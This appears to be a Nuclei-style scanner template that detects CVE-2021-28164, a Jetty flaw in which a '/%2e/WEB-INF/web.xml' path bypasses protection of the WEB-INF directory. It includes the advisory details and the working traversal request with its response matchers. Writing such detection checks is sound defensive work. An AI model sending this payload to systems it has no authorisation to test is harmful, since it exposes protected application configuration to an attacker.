CVE-2021-28164: Eclipse Jetty - Information Disclosure

id: CVE-2021-28164

info:
  name: Eclipse Jetty - Information Disclosure
  author: noamrathaus
  severity: medium
  description: |
    Eclipse Jetty 9.4.37.v20210219 to 9.4.38.v20210224 is susceptible to improper authorization. The default compliance mode allows requests with URIs that contain %2e or %2e%2e segments to access protected resources within the WEB-INF directory. An attacker can access sensitive information regarding the implementation of a web application.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, potentially leading to further attacks or unauthorized access.
  remediation: |
    Apply the latest security patches or updates provided by the Eclipse Jetty project to fix the information disclosure vulnerability.
  reference:
    - https://github.com/eclipse/jetty.project/security/advisories/GHSA-v7ff-8wcx-gmc5
    - https://github.com/vulhub/vulhub/tree/1239bca12c75630bb2033b728140ed5224dcc6d8/jetty
    - https://lists.apache.org/thread.html/r780c3c210a05c5bf7b4671303f46afc3fe56758e92864e1a5f0590d0@%3Cjira.kafka.apache.org%3E
    - http://packetstormsecurity.com/files/164590/Jetty-9.4.37.v20210219-Information-Disclosure.html
    - https://nvd.nist.gov/vuln/detail/cve-2021-28164
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-28164
    cwe-id: CWE-200,NVD-CWE-Other
    epss-score: 0.93484
    epss-percentile: 0.99821
    cpe: cpe:2.3:a:eclipse:jetty:9.4.37:20210219:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: eclipse
    product: jetty
    shodan-query: cpe:"cpe:2.3:a:eclipse:jetty"
  tags: cve2021,cve,packetstorm,vulhub,jetty,exposure,eclipse
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/WEB-INF/web.xml"

    matchers:
      - type: dsl
        internal: true
        dsl:
          - "!contains_all(body, '</web-app>', 'java.sun.com')"
          - "!contains_all(header, 'application/xml')"
          - "status_code != 200"
          - "status_code != 404"
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/%2e/WEB-INF/web.xml"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "contains_all(body, '</web-app>', 'java.sun.com')"
          - "contains_all(header, 'application/xml')"
          - "status_code == 200"
        condition: and
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